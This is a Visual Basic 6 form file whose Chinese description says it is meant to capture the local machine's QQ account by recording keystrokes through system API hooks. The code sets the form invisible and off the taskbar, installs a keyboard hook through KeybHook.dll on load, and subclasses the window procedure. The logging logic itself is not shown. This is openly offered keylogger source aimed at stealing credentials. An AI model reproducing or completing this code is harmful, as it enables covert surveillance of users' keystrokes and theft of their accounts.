执行.frm

主要作用是资取本机的QQ号,通过调用系统API函数,来记录键盘,达到记录API的目的.

VERSION 5.00
Begin VB.Form Form1 
   Caption         =   "Form1"
   ClientHeight    =   3195
   ClientLeft      =   60
   ClientTop       =   345
   ClientWidth     =   8670
   Icon            =   "执行.frx":0000
   LinkTopic       =   "Form1"
   ScaleHeight     =   3195
   ScaleWidth      =   8670
   ShowInTaskbar   =   0   'False
   StartUpPosition =   3  '窗口缺省
   Visible         =   0   'False
   WhatsThisButton =   -1  'True
   WhatsThisHelp   =   -1  'True
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
On Error Resume Next
    SetKeyboardHook Me.hWnd, WM_USER

    If Err.Number <> 0 Then
        MsgBox "请先将 KeybHook.dll 复制到 Windows 的所在路径!", vbCritical
        End
    End If
    On Error GoTo 0
    
    prevWndProc = GetWindowLong(Me.hWnd, GWL_WNDPROC)
    SetWindowLong Me.hWnd, GWL_WNDPROC, AddressOf WndProc

End Sub
Private Sub Form_Unload(Cancel As Integer)
    ReleaseKeyboardHook
    
    SetWindowLong Me.hWnd, GWL_WNDPROC, prevWndProc
End Sub